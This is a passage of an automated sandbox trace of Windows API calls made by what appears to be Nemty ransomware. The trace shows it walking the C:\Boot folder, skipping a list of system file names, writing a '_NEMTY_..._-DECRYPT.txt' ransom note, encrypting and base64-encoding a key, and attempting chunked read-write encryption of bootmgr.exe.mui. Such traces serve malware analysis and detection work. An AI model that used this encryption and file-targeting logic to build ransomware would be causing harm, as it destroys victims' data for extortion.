dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2=".") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="..") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="...") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="windows") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="$RECYCLE.BIN") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="rsa") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="NTDETECT.COM") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="ntldr") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="MSDOS.SYS") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="IO.SYS") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="boot.ini") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="boot.ini") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="AUTOEXEC.BAT") returned 1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="ntuser.dat") returned -1 [0044.344] lstrcmpiW (lpString1="fi-FI", lpString2="desktop.ini") returned 1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="CONFIG.SYS") returned 1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="RECYCLER") returned -1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="BOOTSECT.BAK") returned 1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="bootmgr") returned 1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="programdata") returned -1 [0044.345] lstrcmpiW (lpString1="fi-FI", lpString2="appdata") returned 1 [0044.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fi-FI", lpUsedDefaultChar=0x0) returned 5 [0044.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fi-FI", lpUsedDefaultChar=0x0) returned 5 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.345] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fi-fi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.346] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.346] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.348] CloseHandle (hObject=0x3c0) returned 1 [0044.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.349] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fi-fi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.350] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.350] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.351] CloseHandle (hObject=0x3c0) returned 1 [0044.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.351] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce2090b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce2090b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.351] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.351] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce2090b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce2090b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.351] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.351] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.351] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.351] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.352] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.352] Sleep (dwMilliseconds=0x5) [0044.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce255370, dwHighDateTime=0x1d561e7)) [0044.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce255370, dwHighDateTime=0x1d561e7)) [0044.364] GetLastError () returned 0xb7 [0044.364] SetLastError (dwErrCode=0xb7) [0044.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.365] SetLastError (dwErrCode=0xb7) [0044.365] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] GetLastError () returned 0xb7 [0044.366] SetLastError (dwErrCode=0xb7) [0044.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.366] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.366] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="hpiRegb1V4xKTR8RGvfQhnoe7bztL7i33dGbD7ZkeZ8oGeoFgkeOysSbIIbnHn9B\r\nRmDMGCiqG0NhJw5JJ8pMeXXpnQI/1sq23tvdJbAHdnzl0LV4OpomKFgG4mAX+7po\r\nWggFB4YDTCC6+G+N8ZNsZ9DehmOgV/Ywqbgfg52Aj12UeNRYBm29779jk4CcxbKp\r\n1HlB7or9eB1wZS7t2ytc1PjQIHZmC+vXn52Tfi1ElDnT7KNmKNWKOY4/k+UKAl3V\r\nI+eIb7VaKB9v2mQL1MrJvqdR31g9xHeJ3qZwKe7OwD6hj8ld2IgHiO4fgOMlpnHR\r\n5bgeS8URCV+ZjvIwuPc8cA==\r\n", pcchString=0x653f2dc) returned 1 [0044.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.367] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.367] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) 